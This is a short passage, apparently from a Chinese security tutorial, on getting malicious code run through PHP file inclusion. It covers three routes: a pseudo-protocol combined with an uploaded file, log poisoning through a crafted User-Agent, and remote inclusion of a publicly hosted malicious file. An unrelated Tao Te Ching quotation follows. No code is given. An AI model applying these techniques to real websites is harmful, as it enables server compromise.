    • 伪协议+文件上传(就是正常的上传文件,因为走到了文件包含这一步,那么肯定就没有文件上传漏洞了):上传一个内容是恶意代码的文件,再结合伪协议读取这个文件(伪协议都能读到这个文件了,证明已经知道路径了呀,为什么不直接提供这个路径呢???我们掌握的是相对路径,而php中include函数需要文件的绝对路径或者直接是文件内容,伪协议可以读相对路径,所以用伪协议将文件内容读出来直接放到include中);
    • 日志文件写入:网站程序会将每一个访问者的信息(通常包含UA)写入到日志文件中,并且每一种环境的日志文件都有自己默认的路径,因此只需要将UA字段改为恶意代码去访问,网站程序就会把将这个恶意代码写入到日志文件中;
  5. 提供网络路径:如果网站应用允许访问外网资源,直接把恶意文件放到公网就行。

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;